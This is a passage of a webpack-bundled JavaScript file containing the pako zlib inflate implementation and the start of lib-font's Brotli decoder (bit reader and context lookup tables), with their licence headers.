      base = extra = work;    /* dummy value--not used */
      end = 19;

    } else if (type === LENS) {
      base = lbase;
      base_index -= 257;
      extra = lext;
      extra_index -= 257;
      end = 256;

    } else {                    /* DISTS */
      base = dbase;
      extra = dext;
      end = -1;
    }

    /* initialize opts for loop */
    huff = 0;                   /* starting code */
    sym = 0;                    /* starting code symbol */
    len = min;                  /* starting code length */
    next = table_index;              /* current table to fill in */
    curr = root;                /* current table index bits */
    drop = 0;                   /* current bits to drop from code for index */
    low = -1;                   /* trigger new sub-table when len > root */
    used = 1 << root;          /* use root table entries */
    mask = used - 1;            /* mask for comparing low */

    /* check available table space */
    if ((type === LENS && used > ENOUGH_LENS) ||
      (type === DISTS && used > ENOUGH_DISTS)) {
      return 1;
    }

    /* process all codes and make table entries */
    for (;;) {
      /* create table entry */
      here_bits = len - drop;
      if (work[sym] < end) {
        here_op = 0;
        here_val = work[sym];
      }
      else if (work[sym] > end) {
        here_op = extra[extra_index + work[sym]];
        here_val = base[base_index + work[sym]];
      }
      else {
        here_op = 32 + 64;         /* end of block */
        here_val = 0;
      }

      /* replicate for those indices with low len bits equal to huff */
      incr = 1 << (len - drop);
      fill = 1 << curr;
      min = fill;                 /* save offset to next table */
      do {
        fill -= incr;
        table[next + (huff >> drop) + fill] = (here_bits << 24) | (here_op << 16) | here_val |0;
      } while (fill !== 0);

      /* backwards increment the len-bit code huff */
      incr = 1 << (len - 1);
      while (huff & incr) {
        incr >>= 1;
      }
      if (incr !== 0) {
        huff &= incr - 1;
        huff += incr;
      } else {
        huff = 0;
      }

      /* go to next symbol, update count, len */
      sym++;
      if (--count[len] === 0) {
        if (len === max) { break; }
        len = lens[lens_index + work[sym]];
      }

      /* create new sub-table if needed */
      if (len > root && (huff & mask) !== low) {
        /* if first time, transition to sub-tables */
        if (drop === 0) {
          drop = root;
        }

        /* increment past last table */
        next += min;            /* here min is 1 << curr */

        /* determine length of next table */
        curr = len - drop;
        left = 1 << curr;
        while (curr + drop < max) {
          left -= count[curr + drop];
          if (left <= 0) { break; }
          curr++;
          left <<= 1;
        }

        /* check for enough space */
        used += 1 << curr;
        if ((type === LENS && used > ENOUGH_LENS) ||
          (type === DISTS && used > ENOUGH_DISTS)) {
          return 1;
        }

        /* point entry in root table to sub-table */
        low = huff & mask;
        /*table.op[low] = curr;
        table.bits[low] = root;
        table.val[low] = next - opts.table_index;*/
        table[low] = (root << 24) | (curr << 16) | (next - table_index) |0;
      }
    }

    /* fill in remaining table entry if code is incomplete (guaranteed to have
     at most one remaining entry, since if the code is incomplete, the
     maximum code length that was allowed to get this far is one bit) */
    if (huff !== 0) {
      //table.op[next + huff] = 64;            /* invalid code marker */
      //table.bits[next + huff] = len - drop;
      //table.val[next + huff] = 0;
      table[next + huff] = ((len - drop) << 24) | (64 << 16) |0;
    }

    /* set return parameters */
    //opts.table_index += used;
    opts.bits = root;
    return 0;
  };

  },{"../utils/common":1}],10:[function(require,module,exports){
  'use strict';

  // (C) 1995-2013 Jean-loup Gailly and Mark Adler
  // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
  //
  // This software is provided 'as-is', without any express or implied
  // warranty. In no event will the authors be held liable for any damages
  // arising from the use of this software.
  //
  // Permission is granted to anyone to use this software for any purpose,
  // including commercial applications, and to alter it and redistribute it
  // freely, subject to the following restrictions:
  //
  // 1. The origin of this software must not be misrepresented; you must not
  //   claim that you wrote the original software. If you use this software
  //   in a product, an acknowledgment in the product documentation would be
  //   appreciated but is not required.
  // 2. Altered source versions must be plainly marked as such, and must not be
  //   misrepresented as being the original software.
  // 3. This notice may not be removed or altered from any source distribution.

  module.exports = {
    2:      'need dictionary',     /* Z_NEED_DICT       2  */
    1:      'stream end',          /* Z_STREAM_END      1  */
    0:      '',                    /* Z_OK              0  */
    '-1':   'file error',          /* Z_ERRNO         (-1) */
    '-2':   'stream error',        /* Z_STREAM_ERROR  (-2) */
    '-3':   'data error',          /* Z_DATA_ERROR    (-3) */
    '-4':   'insufficient memory', /* Z_MEM_ERROR     (-4) */
    '-5':   'buffer error',        /* Z_BUF_ERROR     (-5) */
    '-6':   'incompatible version' /* Z_VERSION_ERROR (-6) */
  };

  },{}],11:[function(require,module,exports){
  'use strict';

  // (C) 1995-2013 Jean-loup Gailly and Mark Adler
  // (C) 2014-2017 Vitaly Puzrin and Andrey Tupitsin
  //
  // This software is provided 'as-is', without any express or implied
  // warranty. In no event will the authors be held liable for any damages
  // arising from the use of this software.
  //
  // Permission is granted to anyone to use this software for any purpose,
  // including commercial applications, and to alter it and redistribute it
  // freely, subject to the following restrictions:
  //
  // 1. The origin of this software must not be misrepresented; you must not
  //   claim that you wrote the original software. If you use this software
  //   in a product, an acknowledgment in the product documentation would be
  //   appreciated but is not required.
  // 2. Altered source versions must be plainly marked as such, and must not be
  //   misrepresented as being the original software.
  // 3. This notice may not be removed or altered from any source distribution.

  function ZStream() {
    /* next input byte */
    this.input = null; // JS specific, because we have no pointers
    this.next_in = 0;
    /* number of bytes available at input */
    this.avail_in = 0;
    /* total number of input bytes read so far */
    this.total_in = 0;
    /* next output byte should be put there */
    this.output = null; // JS specific, because we have no pointers
    this.next_out = 0;
    /* remaining free space at output */
    this.avail_out = 0;
    /* total number of bytes output so far */
    this.total_out = 0;
    /* last error message, NULL if no error */
    this.msg = ''/*Z_NULL*/;
    /* not visible by applications */
    this.state = null;
    /* best guess about the data type: binary or text */
    this.data_type = 2/*Z_UNKNOWN*/;
    /* adler32 value of the uncompressed data */
    this.adler = 0;
  }

  module.exports = ZStream;

  },{}],"/lib/inflate.js":[function(require,module,exports){
  'use strict';


  var zlib_inflate = require('./zlib/inflate');
  var utils        = require('./utils/common');
  var strings      = require('./utils/strings');
  var c            = require('./zlib/constants');
  var msg          = require('./zlib/messages');
  var ZStream      = require('./zlib/zstream');
  var GZheader     = require('./zlib/gzheader');

  var toString = Object.prototype.toString;

  /**
   * class Inflate
   *
   * Generic JS-style wrapper for zlib calls. If you don't need
   * streaming behaviour - use more simple functions: [[inflate]]
   * and [[inflateRaw]].
   **/

  /* internal
   * inflate.chunks -> Array
   *
   * Chunks of output data, if [[Inflate#onData]] not overridden.
   **/

  /**
   * Inflate.result -> Uint8Array|Array|String
   *
   * Uncompressed result, generated by default [[Inflate#onData]]
   * and [[Inflate#onEnd]] handlers. Filled after you push last chunk
   * (call [[Inflate#push]] with `Z_FINISH` / `true` param) or if you
   * push a chunk with explicit flush (call [[Inflate#push]] with
   * `Z_SYNC_FLUSH` param).
   **/

  /**
   * Inflate.err -> Number
   *
   * Error code after inflate finished. 0 (Z_OK) on success.
   * Should be checked if broken data possible.
   **/

  /**
   * Inflate.msg -> String
   *
   * Error message, if [[Inflate.err]] != 0
   **/


  /**
   * new Inflate(options)
   * - options (Object): zlib inflate options.
   *
   * Creates new inflator instance with specified params. Throws exception
   * on bad params. Supported options:
   *
   * - `windowBits`
   * - `dictionary`
   *
   * [http://zlib.net/manual.html#Advanced](http://zlib.net/manual.html#Advanced)
   * for more information on these.
   *
   * Additional options, for internal needs:
   *
   * - `chunkSize` - size of generated data chunks (16K by default)
   * - `raw` (Boolean) - do raw inflate
   * - `to` (String) - if equal to 'string', then result will be converted
   *   from utf8 to utf16 (javascript) string. When string output requested,
   *   chunk length can differ from `chunkSize`, depending on content.
   *
   * By default, when no options set, autodetect deflate/gzip data format via
   * wrapper header.
   *
   * ##### Example:
   *
   * ```javascript
   * var pako = require('pako')
   *   , chunk1 = Uint8Array([1,2,3,4,5,6,7,8,9])
   *   , chunk2 = Uint8Array([10,11,12,13,14,15,16,17,18,19]);
   *
   * var inflate = new pako.Inflate({ level: 3});
   *
   * inflate.push(chunk1, false);
   * inflate.push(chunk2, true);  // true -> last chunk
   *
   * if (inflate.err) { throw new Error(inflate.err); }
   *
   * console.log(inflate.result);
   * ```
   **/
  function Inflate(options) {
    if (!(this instanceof Inflate)) return new Inflate(options);

    this.options = utils.assign({
      chunkSize: 16384,
      windowBits: 0,
      to: ''
    }, options || {});

    var opt = this.options;

    // Force window size for `raw` data, if not set directly,
    // because we have no header for autodetect.
    if (opt.raw && (opt.windowBits >= 0) && (opt.windowBits < 16)) {
      opt.windowBits = -opt.windowBits;
      if (opt.windowBits === 0) { opt.windowBits = -15; }
    }

    // If `windowBits` not defined (and mode not raw) - set autodetect flag for gzip/deflate
    if ((opt.windowBits >= 0) && (opt.windowBits < 16) &&
        !(options && options.windowBits)) {
      opt.windowBits += 32;
    }

    // Gzip header has no info about windows size, we can do autodetect only
    // for deflate. So, if window size not set, force it to max when gzip possible
    if ((opt.windowBits > 15) && (opt.windowBits < 48)) {
      // bit 3 (16) -> gzipped data
      // bit 4 (32) -> autodetect gzip/deflate
      if ((opt.windowBits & 15) === 0) {
        opt.windowBits |= 15;
      }
    }

    this.err    = 0;      // error code, if happens (0 = Z_OK)
    this.msg    = '';     // error message
    this.ended  = false;  // used to avoid multiple onEnd() calls
    this.chunks = [];     // chunks of compressed data

    this.strm   = new ZStream();
    this.strm.avail_out = 0;

    var status  = zlib_inflate.inflateInit2(
      this.strm,
      opt.windowBits
    );

    if (status !== c.Z_OK) {
      throw new Error(msg[status]);
    }

    this.header = new GZheader();

    zlib_inflate.inflateGetHeader(this.strm, this.header);

    // Setup dictionary
    if (opt.dictionary) {
      // Convert data if needed
      if (typeof opt.dictionary === 'string') {
        opt.dictionary = strings.string2buf(opt.dictionary);
      } else if (toString.call(opt.dictionary) === '[object ArrayBuffer]') {
        opt.dictionary = new Uint8Array(opt.dictionary);
      }
      if (opt.raw) { //In raw mode we need to set the dictionary early
        status = zlib_inflate.inflateSetDictionary(this.strm, opt.dictionary);
        if (status !== c.Z_OK) {
          throw new Error(msg[status]);
        }
      }
    }
  }

  /**
   * Inflate#push(data[, mode]) -> Boolean
   * - data (Uint8Array|Array|ArrayBuffer|String): input data
   * - mode (Number|Boolean): 0..6 for corresponding Z_NO_FLUSH..Z_TREE modes.
   *   See constants. Skipped or `false` means Z_NO_FLUSH, `true` means Z_FINISH.
   *
   * Sends input data to inflate pipe, generating [[Inflate#onData]] calls with
   * new output chunks. Returns `true` on success. The last data block must have
   * mode Z_FINISH (or `true`). That will flush internal pending buffers and call
   * [[Inflate#onEnd]]. For interim explicit flushes (without ending the stream) you
   * can use mode Z_SYNC_FLUSH, keeping the decompression context.
   *
   * On fail call [[Inflate#onEnd]] with error code and return false.
   *
   * We strongly recommend to use `Uint8Array` on input for best speed (output
   * format is detected automatically). Also, don't skip last param and always
   * use the same type in your code (boolean or number). That will improve JS speed.
   *
   * For regular `Array`-s make sure all elements are [0..255].
   *
   * ##### Example
   *
   * ```javascript
   * push(chunk, false); // push one of data chunks
   * ...
   * push(chunk, true);  // push last chunk
   * ```
   **/
  Inflate.prototype.push = function (data, mode) {
    var strm = this.strm;
    var chunkSize = this.options.chunkSize;
    var dictionary = this.options.dictionary;
    var status, _mode;
    var next_out_utf8, tail, utf8str;

    // Flag to properly process Z_BUF_ERROR on testing inflate call
    // when we check that all output data was flushed.
    var allowBufError = false;

    if (this.ended) { return false; }
    _mode = (mode === ~~mode) ? mode : ((mode === true) ? c.Z_FINISH : c.Z_NO_FLUSH);

    // Convert data if needed
    if (typeof data === 'string') {
      // Only binary strings can be decompressed on practice
      strm.input = strings.binstring2buf(data);
    } else if (toString.call(data) === '[object ArrayBuffer]') {
      strm.input = new Uint8Array(data);
    } else {
      strm.input = data;
    }

    strm.next_in = 0;
    strm.avail_in = strm.input.length;

    do {
      if (strm.avail_out === 0) {
        strm.output = new utils.Buf8(chunkSize);
        strm.next_out = 0;
        strm.avail_out = chunkSize;
      }

      status = zlib_inflate.inflate(strm, c.Z_NO_FLUSH);    /* no bad return value */

      if (status === c.Z_NEED_DICT && dictionary) {
        status = zlib_inflate.inflateSetDictionary(this.strm, dictionary);
      }

      if (status === c.Z_BUF_ERROR && allowBufError === true) {
        status = c.Z_OK;
        allowBufError = false;
      }

      if (status !== c.Z_STREAM_END && status !== c.Z_OK) {
        this.onEnd(status);
        this.ended = true;
        return false;
      }

      if (strm.next_out) {
        if (strm.avail_out === 0 || status === c.Z_STREAM_END || (strm.avail_in === 0 && (_mode === c.Z_FINISH || _mode === c.Z_SYNC_FLUSH))) {

          if (this.options.to === 'string') {

            next_out_utf8 = strings.utf8border(strm.output, strm.next_out);

            tail = strm.next_out - next_out_utf8;
            utf8str = strings.buf2string(strm.output, next_out_utf8);

            // move tail
            strm.next_out = tail;
            strm.avail_out = chunkSize - tail;
            if (tail) { utils.arraySet(strm.output, strm.output, next_out_utf8, tail, 0); }

            this.onData(utf8str);

          } else {
            this.onData(utils.shrinkBuf(strm.output, strm.next_out));
          }
        }
      }

      // When no more input data, we should check that internal inflate buffers
      // are flushed. The only way to do it when avail_out = 0 - run one more
      // inflate pass. But if output data not exists, inflate return Z_BUF_ERROR.
      // Here we set flag to process this error properly.
      //
      // NOTE. Deflate does not return error in this case and does not needs such
      // logic.
      if (strm.avail_in === 0 && strm.avail_out === 0) {
        allowBufError = true;
      }

    } while ((strm.avail_in > 0 || strm.avail_out === 0) && status !== c.Z_STREAM_END);

    if (status === c.Z_STREAM_END) {
      _mode = c.Z_FINISH;
    }

    // Finalize on the last chunk.
    if (_mode === c.Z_FINISH) {
      status = zlib_inflate.inflateEnd(this.strm);
      this.onEnd(status);
      this.ended = true;
      return status === c.Z_OK;
    }

    // callback interim results if Z_SYNC_FLUSH.
    if (_mode === c.Z_SYNC_FLUSH) {
      this.onEnd(c.Z_OK);
      strm.avail_out = 0;
      return true;
    }

    return true;
  };


  /**
   * Inflate#onData(chunk) -> Void
   * - chunk (Uint8Array|Array|String): output data. Type of array depends
   *   on js engine support. When string output requested, each chunk
   *   will be string.
   *
   * By default, stores data blocks in `chunks[]` property and glue
   * those in `onEnd`. Override this handler, if you need another behaviour.
   **/
  Inflate.prototype.onData = function (chunk) {
    this.chunks.push(chunk);
  };


  /**
   * Inflate#onEnd(status) -> Void
   * - status (Number): inflate status. 0 (Z_OK) on success,
   *   other if not.
   *
   * Called either after you tell inflate that the input stream is
   * complete (Z_FINISH) or should be flushed (Z_SYNC_FLUSH)
   * or if an error happened. By default - join collected chunks,
   * free memory and fill `results` / `err` properties.
   **/
  Inflate.prototype.onEnd = function (status) {
    // On success - join
    if (status === c.Z_OK) {
      if (this.options.to === 'string') {
        // Glue & convert here, until we teach pako to send
        // utf8 aligned strings to onData
        this.result = this.chunks.join('');
      } else {
        this.result = utils.flattenChunks(this.chunks);
      }
    }
    this.chunks = [];
    this.err = status;
    this.msg = this.strm.msg;
  };


  /**
   * inflate(data[, options]) -> Uint8Array|Array|String
   * - data (Uint8Array|Array|String): input data to decompress.
   * - options (Object): zlib inflate options.
   *
   * Decompress `data` with inflate/ungzip and `options`. Autodetect
   * format via wrapper header by default. That's why we don't provide
   * separate `ungzip` method.
   *
   * Supported options are:
   *
   * - windowBits
   *
   * [http://zlib.net/manual.html#Advanced](http://zlib.net/manual.html#Advanced)
   * for more information.
   *
   * Sugar (options):
   *
   * - `raw` (Boolean) - say that we work with raw stream, if you don't wish to specify
   *   negative windowBits implicitly.
   * - `to` (String) - if equal to 'string', then result will be converted
   *   from utf8 to utf16 (javascript) string. When string output requested,
   *   chunk length can differ from `chunkSize`, depending on content.
   *
   *
   * ##### Example:
   *
   * ```javascript
   * var pako = require('pako')
   *   , input = pako.deflate([1,2,3,4,5,6,7,8,9])
   *   , output;
   *
   * try {
   *   output = pako.inflate(input);
   * } catch (err)
   *   console.log(err);
   * }
   * ```
   **/
  function inflate(input, options) {
    var inflator = new Inflate(options);

    inflator.push(input, true);

    // That will never happens, if you don't cheat with options :)
    if (inflator.err) { throw inflator.msg || msg[inflator.err]; }

    return inflator.result;
  }


  /**
   * inflateRaw(data[, options]) -> Uint8Array|Array|String
   * - data (Uint8Array|Array|String): input data to decompress.
   * - options (Object): zlib inflate options.
   *
   * The same as [[inflate]], but creates raw data, without wrapper
   * (header and adler32 crc).
   **/
  function inflateRaw(input, options) {
    options = options || {};
    options.raw = true;
    return inflate(input, options);
  }


  /**
   * ungzip(data[, options]) -> Uint8Array|Array|String
   * - data (Uint8Array|Array|String): input data to decompress.
   * - options (Object): zlib inflate options.
   *
   * Just shortcut to [[inflate]], because it autodetects format
   * by header.content. Done for convenience.
   **/


  exports.Inflate = Inflate;
  exports.inflate = inflate;
  exports.inflateRaw = inflateRaw;
  exports.ungzip  = inflate;

  },{"./utils/common":1,"./utils/strings":2,"./zlib/constants":4,"./zlib/gzheader":6,"./zlib/inflate":8,"./zlib/messages":10,"./zlib/zstream":11}]},{},[])("/lib/inflate.js")
  });
/* eslint-enable */


/***/ }),

/***/ 8572:
/***/ ((module) => {

/**
 * Credits:
 *
 * lib-font
 * https://github.com/Pomax/lib-font
 * https://github.com/Pomax/lib-font/blob/master/lib/unbrotli.js
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2020 pomax@nihongoresources.com
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */

/* eslint eslint-comments/no-unlimited-disable: 0 */
/* eslint-disable */
(function(f){if(true){module.exports=f()}else { var g; }})(function(){var define,module,exports;return (function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c=undefined;if(!f&&c)return require(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u=undefined,i=0;i<t.length;i++)o(t[i]);return o}return r})()({1:[function(require,module,exports){
/* Copyright 2013 Google Inc. All Rights Reserved.

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

   http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

   Bit reading helpers
*/

var BROTLI_READ_SIZE = 4096;
var BROTLI_IBUF_SIZE =  (2 * BROTLI_READ_SIZE + 32);
var BROTLI_IBUF_MASK =  (2 * BROTLI_READ_SIZE - 1);

var kBitMask = new Uint32Array([
  0, 1, 3, 7, 15, 31, 63, 127, 255, 511, 1023, 2047, 4095, 8191, 16383, 32767,
  65535, 131071, 262143, 524287, 1048575, 2097151, 4194303, 8388607, 16777215
]);

/* Input byte buffer, consist of a ringbuffer and a "slack" region where */
/* bytes from the start of the ringbuffer are copied. */
function BrotliBitReader(input) {
  this.buf_ = new Uint8Array(BROTLI_IBUF_SIZE);
  this.input_ = input;    /* input callback */

  this.reset();
}

BrotliBitReader.READ_SIZE = BROTLI_READ_SIZE;
BrotliBitReader.IBUF_MASK = BROTLI_IBUF_MASK;

BrotliBitReader.prototype.reset = function() {
  this.buf_ptr_ = 0;      /* next input will write here */
  this.val_ = 0;          /* pre-fetched bits */
  this.pos_ = 0;          /* byte position in stream */
  this.bit_pos_ = 0;      /* current bit-reading position in val_ */
  this.bit_end_pos_ = 0;  /* bit-reading end position from LSB of val_ */
  this.eos_ = 0;          /* input stream is finished */

  this.readMoreInput();
  for (var i = 0; i < 4; i++) {
    this.val_ |= this.buf_[this.pos_] << (8 * i);
    ++this.pos_;
  }

  return this.bit_end_pos_ > 0;
};

/* Fills up the input ringbuffer by calling the input callback.

   Does nothing if there are at least 32 bytes present after current position.

   Returns 0 if either:
    - the input callback returned an error, or
    - there is no more input and the position is past the end of the stream.

   After encountering the end of the input stream, 32 additional zero bytes are
   copied to the ringbuffer, therefore it is safe to call this function after
   every 32 bytes of input is read.
*/
BrotliBitReader.prototype.readMoreInput = function() {
  if (this.bit_end_pos_ > 256) {
    return;
  } else if (this.eos_) {
    if (this.bit_pos_ > this.bit_end_pos_)
      throw new Error('Unexpected end of input ' + this.bit_pos_ + ' ' + this.bit_end_pos_);
  } else {
    var dst = this.buf_ptr_;
    var bytes_read = this.input_.read(this.buf_, dst, BROTLI_READ_SIZE);
    if (bytes_read < 0) {
      throw new Error('Unexpected end of input');
    }

    if (bytes_read < BROTLI_READ_SIZE) {
      this.eos_ = 1;
      /* Store 32 bytes of zero after the stream end. */
      for (var p = 0; p < 32; p++)
        this.buf_[dst + bytes_read + p] = 0;
    }

    if (dst === 0) {
      /* Copy the head of the ringbuffer to the slack region. */
      for (var p = 0; p < 32; p++)
        this.buf_[(BROTLI_READ_SIZE << 1) + p] = this.buf_[p];

      this.buf_ptr_ = BROTLI_READ_SIZE;
    } else {
      this.buf_ptr_ = 0;
    }

    this.bit_end_pos_ += bytes_read << 3;
  }
};

/* Guarantees that there are at least 24 bits in the buffer. */
BrotliBitReader.prototype.fillBitWindow = function() {
  while (this.bit_pos_ >= 8) {
    this.val_ >>>= 8;
    this.val_ |= this.buf_[this.pos_ & BROTLI_IBUF_MASK] << 24;
    ++this.pos_;
    this.bit_pos_ = this.bit_pos_ - 8 >>> 0;
    this.bit_end_pos_ = this.bit_end_pos_ - 8 >>> 0;
  }
};

/* Reads the specified number of bits from Read Buffer. */
BrotliBitReader.prototype.readBits = function(n_bits) {
  if (32 - this.bit_pos_ < n_bits) {
    this.fillBitWindow();
  }

  var val = ((this.val_ >>> this.bit_pos_) & kBitMask[n_bits]);
  this.bit_pos_ += n_bits;
  return val;
};

module.exports = BrotliBitReader;

},{}],2:[function(require,module,exports){
/* Copyright 2013 Google Inc. All Rights Reserved.

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

   http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

   Lookup table to map the previous two bytes to a context id.

   There are four different context modeling modes defined here:
     CONTEXT_LSB6: context id is the least significant 6 bits of the last byte,
     CONTEXT_MSB6: context id is the most significant 6 bits of the last byte,
     CONTEXT_UTF8: second-order context model tuned for UTF8-encoded text,
     CONTEXT_SIGNED: second-order context model tuned for signed integers.

   The context id for the UTF8 context model is calculated as follows. If p1
   and p2 are the previous two bytes, we calcualte the context as

     context = kContextLookup[p1] | kContextLookup[p2 + 256].

   If the previous two bytes are ASCII characters (i.e. < 128), this will be
   equivalent to

     context = 4 * context1(p1) + context2(p2),

   where context1 is based on the previous byte in the following way:

     0  : non-ASCII control
     1  : \t, \n, \r
     2  : space
     3  : other punctuation
     4  : " '
     5  : %
     6  : ( < [ {
     7  : ) > ] }
     8  : , ; :
     9  : .
     10 : =
     11 : number
     12 : upper-case vowel
     13 : upper-case consonant
     14 : lower-case vowel
     15 : lower-case consonant

   and context2 is based on the second last byte:

     0 : control, space
     1 : punctuation
     2 : upper-case letter, number
     3 : lower-case letter

   If the last byte is ASCII, and the second last byte is not (in a valid UTF8
   stream it will be a continuation byte, value between 128 and 191), the
   context is the same as if the second last byte was an ASCII control or space.

   If the last byte is a UTF8 lead byte (value >= 192), then the next byte will
   be a continuation byte and the context id is 2 or 3 depending on the LSB of
   the last byte and to a lesser extent on the second last byte if it is ASCII.

   If the last byte is a UTF8 continuation byte, the second last byte can be:
     - continuation byte: the next byte is probably ASCII or lead byte (assuming
       4-byte UTF8 characters are rare) and the context id is 0 or 1.
     - lead byte (192 - 207): next byte is ASCII or lead byte, context is 0 or 1
     - lead byte (208 - 255): next byte is continuation byte, context is 2 or 3

   The possible value combinations of the previous two bytes, the range of
   context ids and the type of the next byte is summarized in the table below:

   |--------\-----------------------------------------------------------------|
   |         \                         Last byte                              |
   | Second   \---------------------------------------------------------------|
   | last byte \    ASCII            |   cont. byte        |   lead byte      |
   |            \   (0-127)          |   (128-191)         |   (192-)         |
   |=============|===================|=====================|==================|
   |  ASCII      | next: ASCII/lead  |  not valid          |  next: cont.     |
   |  (0-127)    | context: 4 - 63   |                     |  context: 2 - 3  |
   |-------------|-------------------|---------------------|------------------|
   |  cont. byte | next: ASCII/lead  |  next: ASCII/lead   |  next: cont.     |
   |  (128-191)  | context: 4 - 63   |  context: 0 - 1     |  context: 2 - 3  |
   |-------------|-------------------|---------------------|------------------|
   |  lead byte  | not valid         |  next: ASCII/lead   |  not valid       |
   |  (192-207)  |                   |  context: 0 - 1     |                  |
   |-------------|-------------------|---------------------|------------------|
   |  lead byte  | not valid         |  next: cont.        |  not valid       |
   |  (208-)     |                   |  context: 2 - 3     |                  |
   |-------------|-------------------|---------------------|------------------|

   The context id for the signed context mode is calculated as:

     context = (kContextLookup[512 + p1] << 3) | kContextLookup[512 + p2].

   For any context modeling modes, the context ids can be calculated by |-ing
   together two lookups from one table using context model dependent offsets:

     context = kContextLookup[offset1 + p1] | kContextLookup[offset2 + p2].

   where offset1 and offset2 are dependent on the context mode.
*/

var CONTEXT_LSB6         = 0;
var CONTEXT_MSB6         = 1;
var CONTEXT_UTF8         = 2;
var CONTEXT_SIGNED       = 3;

/* Common context lookup table for all context modes. */
exports.lookup = new Uint8Array([
  /* CONTEXT_UTF8, last byte. */
  /* ASCII range. */
   0,  0,  0,  0,  0,  0,  0,  0,  0,  4,  4,  0,  0,  4,  0,  0,
   0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,
   8, 12, 16, 12, 12, 20, 12, 16, 24, 28, 12, 12, 32, 12, 36, 12,
  44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 32, 32, 24, 40, 28, 12,
  12, 48, 52, 52, 52, 48, 52, 52, 52, 48, 52, 52, 52, 52, 52, 48,
  52, 52, 52, 52, 52, 48, 52, 52, 52, 52, 52, 24, 12, 28, 12, 12,
  12, 56, 60, 60, 60, 56, 60, 60, 60, 56, 60, 60, 60, 60, 60, 56,
  60, 60, 60, 60, 60, 56, 60, 60, 60, 60, 60, 24, 12, 28, 12,  0,
  /* UTF8 continuation byte range. */
  0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
  0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
  0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
  0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
  /* UTF8 lead byte range. */
  2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,
  2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,
  2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,
  2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,
  /* CONTEXT_UTF8 second last byte. */
  /* ASCII range. */
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
  2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1,
  1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
  2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1,
  1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
  3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 1, 1, 1, 1, 0,
  /* UTF8 continuation byte range. */
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  /* UTF8 lead byte range. */
  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
  2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
  /* CONTEXT_SIGNED, second last byte. */
  0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
  2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
